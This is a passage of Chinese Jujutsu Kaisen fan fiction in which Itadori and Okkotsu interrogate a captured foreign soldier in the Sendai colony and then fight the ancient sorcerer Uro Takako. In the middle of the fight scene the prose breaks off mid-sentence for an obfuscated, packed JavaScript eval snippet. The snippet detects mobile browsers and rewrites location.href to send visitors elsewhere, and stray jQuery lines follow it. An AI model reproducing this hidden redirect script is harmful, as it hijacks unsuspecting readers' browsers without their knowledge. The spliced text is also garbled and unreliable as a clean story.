这些外国人也许就是来研究泳者和咒力的,就像虎杖悠仁看过的一些电影中总会出现的经典桥段,比如总有一个建立在深山老林里的秘密研究基地,或者拥有超能力的人总是逃不过被某些神秘组织捉去做研究的命运之类的。
死灭回游的结界隔绝了针对内部的一切咒力感知,所以他们也不知道现在的结界里正在发生着什么,不过从刚才被“扔出来”的运输机来看,估计是遇到了某个能在空中作战的术师吧。
“总之我们现在必须要分开了,甘井。”虎杖悠仁和乙骨忧太还没想好接下来要做什么,但无论如何甘井凛都不能再跟着他们了。
黄发少年告别后很快便消失在了楼顶,看他离开的方向应该是准备直接前往仙台北边的下一个安置点。
天台上只剩下了他们两个人,此时正是一天中最寒冷的时候,空气中的湿度也在增加,很快就让裸露在外的皮肤变得不适了起来。
“要是能找个人问问就好了。”乙骨忧太搓了搓手,望向结界的方向。
如果只是虎杖悠仁说的那种电影桥段,事情也许会简单许多。可一旦需要考虑到羂索在其中是否发挥了某种作用……很难不让人联想到加速结界的咒力收集这一目的。
对羂索来说,结界里的泳者们打得越激烈,咒力收集的过程就越轻松,最好在结界里闹得天翻地覆才更合他的心意。
“先进去再说吧,”虎杖悠仁和他看向同一个地方,“外面多少还是有点......”
束手束脚。
与他们只有一“墙”之隔的仙台结界内,操纵天空的术师抓住了身边的“平面”,让原本直行的弹道扭曲变形,有流弹反弹到了持枪人的身上。
这些军人有备而来,但显然不论是装备还是心理都没有做好万全的准备,甚至有的人直到乌鹭亨子在他们面前将一架运输机扔出了结界之后才意识到这世上真的存在“超能力者”,原本以玩笑话来对待的事情突然变成了事实,这才明白长官的话并非危言耸听。
“什么啊,怎么连术师都不是?”
乌鹭亨子扯动着周围的平面,将向着她徒劳倾泻的子弹悉数奉还。两面宿傩的咒力只出现了片刻就消失了,但恐惧还是驱使着她远远地躲开了那个方向。因为还不想离开结界,所以特意挑选这附近作为新的落脚点,没想到当晚就被这群不速之客打扰了。
她有身为古代术师的自尊,只会从同为术师之人的身上获取分数,也根本不屑于跟这群讲着鸟语的普通人发生冲突。这些人也意识到了他们与真正的泳者之间的差距,选择在激怒乌鹭亨子之前颇有素质地集体撤退了。
透过容器学习到的现代知识让乌鹭亨子能明白找上门来的这群人似乎是某个国家的军队,难免让她想起自己曾经所在的“日月星进队”......现代社会的运行规则看似摒弃了古时围绕姓氏和家族组成的权力结构,但乌鹭亨子多少还是能看出一些被隐秘继承下来的东西。
最让她疑惑的是为什么术师会混到如今这样窝囊的地步。一个国家的武装力量里居然没有术师的存在,现代的术师活得简直和隐姓埋名没什么两样了!
轻巧落地的瞬间,她再一次感知到了令她恐惧无比的咒力气息。
——这次比上次更近,就好像只与她隔了一条街的距离一样!!
128. 第 128 章
虎杖悠仁决定直接从那群外国人中挑一个倒霉蛋揍一顿然后再拷问一番。要不是里香拉住了翻滚中的运输机,那里面的人恐怕全都会在坠地产生的冲击中死掉吧?不然也会被之后一系列灾难般的爆炸和燃烧的火舌吞噬。
结果还是被袭击了。
伸出援手但得不到感谢这种事......虎杖悠仁早已经历过,可是也说不上究竟有没有适应“自己的好意居然换回了这样的结果”,但他终究不会因为那些不尽如人意的事而选择去怨恨谁,或者后悔自己当初做出了救人的举动。
他已经开始学着不再去悔恨,常用来安慰自己的话就是不论现在的自己再怎样深入思考也无法改变当时的自己,那是他基于那个时候所经历的一切做出的判断,不管再来多少次他大概都会做出同样的选择。
如果从那时向后看,可以被称作命运。如果向前看,那就是当下能够做出的唯一选择。
学着原谅自己是比学着不去悔恨更困难的事,虎杖悠仁决定一步一步来。
迎面撞上的一支战术小队被他迅速放倒,乙骨忧太用刀背解决掉了其他人,也不知道从哪里搞出来了一根绳子将一个会说日语的家伙捆在了路边的消防栓上。
“说起来,高专也会教英语?会有英语检测吗?”在等待他们的俘虏醒来的时候,虎杖悠仁突发奇想地问道。
乙骨忧太想了想:“有是有,但是跟体育课很类似的啦,偶尔会突然变成历史或者训练课。”
但他大多数时间都在外面执行任务,在课业方面反而落下了不少。虎杖悠仁因为爱看电影,在“听”的方面远胜于“说”,总而言之能够找到一个会说日语的人算得上超级幸运了。
乙骨忧太举起了刀。他已经从俘虏的呼吸声中听出对方现在只是在装晕而已,在明晃晃的白刃威胁下,那人终于自暴自弃般睁开了眼睛。
事情的发展与虎杖悠仁他们推测的八九不离十,这个人知道的推动这次大规模隐秘军事行动的高层是JSOC司令官加里中将,但真正的命令一定来自更高的权力拥有者,只是他们的俘虏显然没有知道更多内幕的权限。
“咒力就是最新的清洁能源啊,不光是我们,很多人都在蠢蠢欲动,”亲眼目睹了泳者——术师的战斗,这个人原有的世界观已经被完全推翻了,“谁不会想要拥有这样的力量?!”
国家想要从能够产生咒力的人身上榨取能量,渴望力量的人想要成为术师。至少对被拷问的人来说,自己这一辈子付出了多少血汗才将身体锻炼成了如今的模样、拥有了加入顶尖部队的力量为国效力,也在无数流弹横飞的战场上挥洒汗水与死亡擦肩而过,可现在却被两个看上去还没成年的小鬼头轻而易举地击败了。
就因为他们拥有那种“超能力”,就因为他们是术师!!
只可惜这个人也不知道有没有一个额头上带着缝合线的人参与到了行动计划的制定中来。
“普通人在徘徊于死亡边缘的瞬间也能产生足以突破‘两个世界的边界’的力量,比如能够看见咒灵之类的,换种说法就是在那一刹那会有咒力爆发出来,”乙骨忧太将刀从那个人的脖子上挪开,“不管是不是由他主动促成,这件事对他都没有坏处。”
像仙台这样有排名靠前的泳者终结了大部分战斗,又相互制约而导致咒力收集停滞的情况比较少见。
死灭回游刚开始的那几天爆发的战斗是最频繁的,想要聚敛分数的泳者几乎已经拿到了足够多的点数,到现在基本上都进入了平稳发展的倦怠期,等到接近第一个19天节点的时候会再小小地爆发一轮,之后就必须引入外力来刺激战斗继续收集咒力了。
虎杖悠仁抬眼向夜空中看去。天空中的术师飞得极高,他没看见像来栖华一样因为术式生成的翅膀之类的东西。
“她应该就是把运输机扔出去的那个术师了。”
从刚才开始就一直待在上面注视着这边,浑身上下都散发着不容忽视的气息,感觉上......不像是石流龙那样的战意高昂,倒像是有些应激似的将全身的咒力都化作尖刺竖了起来。
乙骨忧太沉默地望了回去,乌鹭亨子也留意到他们已经注意到了自己。
回应虎杖悠仁的居然是被俘虏的士兵:“......没有子弹能够接近那个怪物,它们会在靠近的瞬间改变弹道......只要你亲眼看见过她使用能力也会像我一样怀疑这世界的。”
连“背景”都会被扯动,看上去就像整个世界都是一副巨大的画布,当完好的背景被从框架上扯下时,人会产生一种恐怖的荒诞猜测。
好像这世上除了自己之外的一切人和环境都是虚假的,犹如坐在精心装饰过的剧院内、沉浸在了名为“人生”的剧目中,而现在即将发生一场能够打破沉浸的演出事故。
虎杖悠仁听士兵的说法只觉得也许这个古代术师拥有类似五条悟的术式,所谓“子弹会在靠近的瞬间转弯”大概是更改了周身的磁场或是其他的术式效果吧。
“多拿一些分数倒也没有坏处,毕竟新增一条规则就需要一百点,”乙骨忧太微微侧头,和虎杖悠仁商量,“日车先生真是帮大忙了。”
日车宽见在昨晚为死灭回游新增了能够在泳者间转移分数的规则,这样一来比起一个个击败泳者收集分数,寻找更强劲的对手抢夺他们储存的分数更划算一些。
虎杖悠仁放在身侧的手指像是触电般动了动。
“可以是可以,飞在半空其实也不是太大的问题,但......”
他不是故意将尾音拉得这么长,只是对自己感知到的另一股咒力感到恼人的不解。不加任何掩饰、完全展示出来的咒力,直白地向他宣示着自己所在的位置。
简直就像是在挑衅一样。
不自觉变得阴沉起来的表情让注视着他的乙骨忧太眯起眼睛,在虎杖悠仁的“提醒”下他也用不太灵光的咒力感知找到了属于羂索......属于夏油杰的那一支。
又冷又轻的一声“噌”划过士兵的耳边,锋刃带来的凉风迟了一步才在他的皮肤上带起一阵怵意。
甩刀解开了他身上绳索的黑发少年没有低头,沉声道:“你们闹出太大动静了......还能行动的话就尽可能离这里远一点吧。”
如果这些军人选择的不是仙台结界,甚至没有一进入结界就遇到了乌鹭亨子的话,没准真的能够凭借电击|枪这样相对安静一些的武器捕获睡梦中的泳者,可是他们为了击落天空中的术师而开了枪。
枪声足以惊醒整个结界。
“嘁。”乌鹭亨子有些焦虑地握拳扣着掌心,依靠指甲嵌入血肉的疼痛让自己瞪大眼睛看清了那个拥有宿傩咒力的少年。
容器?身边的那个黑头发的家伙又是谁?!浑身散发的咒力和里梅全然不同......两面宿傩会允许其他人那样僭越地站在自己身边?!
她狠狠咬牙喃喃道:“不对劲......太不对劲了!!”
石流龙的咒力气息正在往这边靠近,好在黑沐死还没有动静,多鲁布那边也没什么变化。
仅仅是错开了一眼,乌鹭亨子再次定睛望去的时候却正正好对上了两双没什么波动的眼睛。
琥珀色的眸子绝对不会属于诅咒之王,乌鹭亨子从里面看不见任何暴戾和唯我独尊的霸道。染上了血色的恐惧正慢慢从体内褪去,跨越千年迎来重生的古代术师居然奇迹般地看着那双眼睛平静了下来。
高空的夜风让她的头脑清醒了一些,在意识到虎杖悠仁并非笼罩在所有术师头顶那座不可逾越的高山后,被恐惧压抑住的战斗欲望悄悄重燃。
日月星进队是藤氏直属暗杀部队,他们全都是一群见不得光的人,将“克己奉公、活在暗处”刻入了人生,代替名字成为了他们活着的意义。
不论是藤氏还是诅咒之王似乎都在身体力行地告诉乌鹭亨子“不要想着出人头地”,不管是作为没有名字的暗杀者还是拥有傲人咒术天赋的术师,她这一辈子都不可能有为了自己而活的那一天。
就连这个名字也是在被抛弃前得到的最后一个施舍。
乌鹭亨子将牙咬得咯吱作响。冲破恐惧的除了那点战斗欲望带来的兴奋感之外,还有一种由内迸发的愤怒。
她以自身为容器,将千年前不曾来得及彻底发泄出来的怨怼带到了当今的时代,现在它们正如岩浆般在她的身体里滚动着,蠢蠢欲动。
在两个少年术师靠近的过程中,乌鹭亨子想通了为何她的愤恨会在见到他们之后被悉数唤醒,必须吐之而后快!
这两个家伙——!!一个和宿傩有着密不可分的联系,另一个黑头发的才更可恨!!!
“——哪怕过了千年你们还是不肯放过我吗?!!藤原家的!!!”
随着她的怒吼,这场天空中的战斗终于拉开了序幕。
此时星月高悬,夜空万里无云。
误入奇幻世界的普通人们纷纷昂首,他们大多数都放下了手中的武器,黑夜为这场一触即发的战斗增添了一丝失真的色彩。
正如乙骨忧太猜测的那样,他们并没有被告知需要面对的“泳者”是一群怎样的存在。这一次也只是听从了命令而已,士兵只需要完成交给他们的任务即可。
逃脱的俘虏叫醒了昏迷的队友,抬着仍旧不省人事的人向大部队的方向集合。
“那真的……还是人类吗?”
做梦似的,有人发出了这样的喟叹。
不管是飞在半空中的女人还是一跃来到高空的少年都没办法被初次直面咒术的普通人归为同类。
这场战斗最开始非常安静。
乌鹭亨子的术式能够扭曲被她抓住的“平面”,更具体地说是能够扭曲周围的空间,因此虎杖悠仁的第一击落空了。
挥出的手臂在靠近乌鹭亨子的时候突然变形,像是还没煮熟的面条一样瘫软着,稍微落后一些的咒力冲击似乎也一并被“挪”开了。
重
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382473|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拳挥空,虎杖悠仁蹬地而起时带起的冲势也开始消散。乌鹭亨子瞪着他的眼神让人有些看不太懂,既有看似消褪却仍在无意中留下了一些的恐惧、高昂的战意,还有一种人特别想在谁面前证明自己时才会暴露出来的怯意。
这种感情与恐惧不同,它代表着某种期冀,在认可与不被认可之间徘徊着,像是在用粗粝的砂纸反复摩擦心脏。痛,但足够让人清醒。
被击飞时极速倒退的景象在眼中糊成了一团。
乌鹭亨子连同虎杖悠仁和他身边的平面一起用术式捕捉,最后再像敲碎薄冰一样将虎杖悠仁击飞了出去。这是她的扩张术式“宇守罗弹”,也是她为数不多可以用来主动攻击的方法。
粉发少年一头砸进了下方的建筑里,烟尘扬起的地方隐隐约约能够看见一个黑漆漆的洞口。
进攻的失利似乎并没有动摇另一人的注意力,乌鹭亨子看到同样攀爬到了楼层顶端的乙骨忧太蹲在栏杆上,单手持刀挡住了嘴巴。
这家伙的体内流着她最厌恶之人的血。尽管已经稀薄到了几乎微不可查的地步,但那种目中无人、高高在上的眼神简直就和赐予她名字的那个人一模一样!!!
乌鹭亨子双手扯住了身边的平面。只有摆脱了大地的桎梏才能享受天空之下的自由,她的长发在夜幕中飞舞,双臂张开拥抱明星与月光:“——来啊!!!”
克己奉公、活在暗处,这辈子为了他人而活,没必要想着出人头地。这种屁话只有功成名就的人才能说得出口,给她名字的那个人也只不过是想将她当做自己杀害同族的替罪羊罢了!!
乙骨忧太的身影与那个人的背影在恍惚间重合,乌鹭亨子看到了指缝间在嘴角露出的黑色咒纹。
看清那蛇目与蛇牙的纹样时她立刻堵住了耳朵。
咒言师?!
比附加着咒力的言灵更早抵达的是来自远方的无形斩击。
血线从出现在皮肤上的伤口中飙出,乌鹭亨子不可置信地转头望向不知何时从坠落的废墟中脱离出来的虎杖悠仁,少年抬手望向了半空中,发动了【御厨子】。
对乌鹭亨子来说,越是直白的进攻越容易被防御,因此也在术式相性上克制着石流龙。像他那样的咒力大炮只要打不中的话就没有任何威胁,但虎杖悠仁的【御厨子】和乌鹭亨子千年前体会过的斩击有所不同。
没有诅咒之王发动术式时的浩大声势,没有无形锋刃逼近时的紧迫感,斩击造成的伤口仿佛凭空出现在了身体上,当她意识到的时候就已经被切开了。
没有“飞行轨迹”的斩击自然能够越过乌鹭亨子身边被扭曲的平面,直接将伤害复现在她的身上。
伤口很深也很密集,最重要的是它们集中在了乌鹭亨子堵住耳朵的手臂上,这突如其来的进攻让她的手离开了耳朵。
“糟——!”
抓住了机会的乙骨忧太放开手,让嘴巴周围的咒纹完全显露了出来:“坠落吧!!”
虎杖悠仁向着乌鹭亨子落下的方向跑去。被“宇守罗弹”击中的感觉和中了禅院直哉的【投射咒法】很相似,在被捕捉或者定格的瞬间完全没办法凭借力量挣脱,不过即便是被击飞也很难直接对他造成影响行动力的伤害。
毕竟这具身体真的很壮实。
因为提防看着这边的其他泳者,虎杖悠仁和乙骨忧太都并未全力以赴,在术式的使用上也变得谨慎了起来。
他们在乌鹭亨子坠落的地方不远处汇合,一前一后地靠了过去。
单凭一句咒言和没尽全力的【御厨子】可杀不死一个古代术师,虎杖悠仁活动着肩膀,留了一份心思在远处徘徊在这附近的另一个术师身上。
碎石瓦砾中的乌鹭亨子起身,双方在半倒塌的建筑残骸内沉默地对峙着。
“......”
虎杖悠仁瞥了一眼“面无表情”的乙骨忧太:“......”
“......?”乌鹭亨子皱着眉毛歪头,目光不善地看着他们。
虎杖悠仁的眼睛挪到了侧上方,屈起手指挠了挠脸颊。他们还没来得及向小金虫询问这个术师的名字,估计乙骨忧太想说点什么狠话结果卡住了吧:“不好意思,能请你把分数给我们吗?”
这次倒还真不是因为这个。乙骨忧太只是在疑惑乌鹭亨子口中的“藤原家的”,她似乎将自己认成了藤原后人,但实际上按照五条悟的说法他血脉上的祖先应该可以追溯到菅原道真,哪怕菅原道真的后代中真的混入了一些藤氏血脉,也早该被稀释得一点也不剩了,更不用提他们家这一支可能是偏门中的偏门。
乌鹭亨子的额角肉眼可见地爆起青筋:“......在小瞧我?”
伴随着暴怒逸散出来的咒力压垮了摇摇欲坠的废墟,让月光重新洒到了地面上。
“以前也好,现在也罢,”乌鹭亨子让术式带着自己微微离开地面,随即俯身向前直冲了过去,“——你们就那么害怕我出人头地吗?!!!”